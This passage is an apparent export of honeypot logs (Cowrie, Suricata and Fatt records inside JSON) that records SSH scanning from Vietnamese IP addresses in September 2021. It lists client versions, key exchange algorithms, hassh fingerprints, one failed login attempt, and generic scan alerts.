etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21985	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:25.959567+03	2021-09-20 14:15:04.342613+03	{"_id": "TQXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [bobby/bobby] failed", "session": "e64b79dd4683", "@version": "1", "password": "bobby", "username": "bobby", "timestamp": "2021-09-20T11:06:25.959567Z", "@timestamp": "2021-09-20T11:06:25.959Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21986	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:25.966408+03	2021-09-20 14:15:04.344613+03	{"_id": "TgXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "fc3c7432252e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:25.966408Z", "@timestamp": "2021-09-20T11:06:25.966Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21987	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:26.784016+03	2021-09-20 14:15:04.346612+03	{"_id": "XAXiAnwBvYTbRNuEv_4u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1784949404492247, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60262, "dest_port": 22, "timestamp": "2021-09-20T11:06:26.784016Z", "@timestamp": "2021-09-20T11:06:26.784Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21988	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:26.645618+03	2021-09-20 14:15:04.347613+03	{"_id": "XwXiAnwBvYTbRNuEv_4u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1459874067271862, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58876, "dest_port": 22, "timestamp": "2021-09-20T11:06:26.645618Z", "@timestamp": "2021-09-20T11:06:26.645Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21990	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:26.784498+03	2021-09-20 14:15:04.351614+03	{"_id": "ZwXiAnwBvYTbRNuEwP4T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 60262, "dest_port": 22, "timestamp": "2021-09-20T11:06:26.784498", "@timestamp": "2021-09-20T11:06:26.784Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21991	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:17.239305+03	2021-09-20 14:15:04.352613+03	{"_id": "zAXiAnwBvYTbRNuEnPwA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 264777941670719, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53006, "dest_port": 22, "timestamp": "2021-09-20T11:06:17.239305Z", "@timestamp": "2021-09-20T11:06:17.239Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21992	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:17.036835+03	2021-09-20 14:15:04.354612+03	{"_id": "0AXiAnwBvYTbRNuEnPwA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:06:17.036835+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 437480724205539, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 51104, "dest_port": 22, "timestamp": "2021-09-20T11:06:17.036835Z", "@timestamp": "2021-09-20T11:06:17.036Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
21993	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:17.322919+03	2021-09-20 14:15:04.355613+03	{"_id": "2wXiAnwBvYTbRNuEnfwk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "10e274bbe592", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:17.322919Z", "@timestamp": "2021-09-20T11:06:17.322Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21994	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:17.334626+03	2021-09-20 14:15:04.357613+03	{"_id": "3AXiAnwBvYTbRNuEnfwk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4db4e55a9029", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:17.334626Z", "@timestamp": "2021-09-20T11:06:17.334Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
33504	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:56:04.945458+03	2021-09-20 15:00:05.943723+03	{"_id": "PQYQA3wBvYTbRNuEMlA6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:56:04.945458Z", "@timestamp": "2021-09-20T11:56:04.945Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
21998	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:17.586571+03	2021-09-20 14:15:04.363614+03	{"_id": "4AXiAnwBvYTbRNuEnfwk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4db4e55a9029", "@version": "1", "timestamp": "2021-09-20T11:06:17.586571Z", "@timestamp": "2021-09-20T11:06:17.586Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21999	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:17.311157+03	2021-09-20 14:15:04.365613+03	{"_id": "5wXiAnwBvYTbRNuEnfwt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:51104 (192.168.176.2:22) [session: 4db4e55a9029]", "session": "4db4e55a9029", "@version": "1", "protocol": "ssh", "src_port": 51104, "dest_port": 22, "timestamp": "2021-09-20T11:06:17.311157Z", "@timestamp": "2021-09-20T11:06:17.311Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22000	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:18.019962+03	2021-09-20 14:15:04.366612+03	{"_id": "4gXiAnwBvYTbRNuEnfwk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "65aa95ad449b", "@version": "1", "duration": 4.055434226989746, "timestamp": "2021-09-20T11:06:18.019962Z", "@timestamp": "2021-09-20T11:06:18.019Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22001	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:18.026213+03	2021-09-20 14:15:04.368613+03	{"_id": "5AXiAnwBvYTbRNuEnfwk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "7063802edb6e", "@version": "1", "timestamp": "2021-09-20T11:06:18.026213Z", "@timestamp": "2021-09-20T11:06:18.026Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	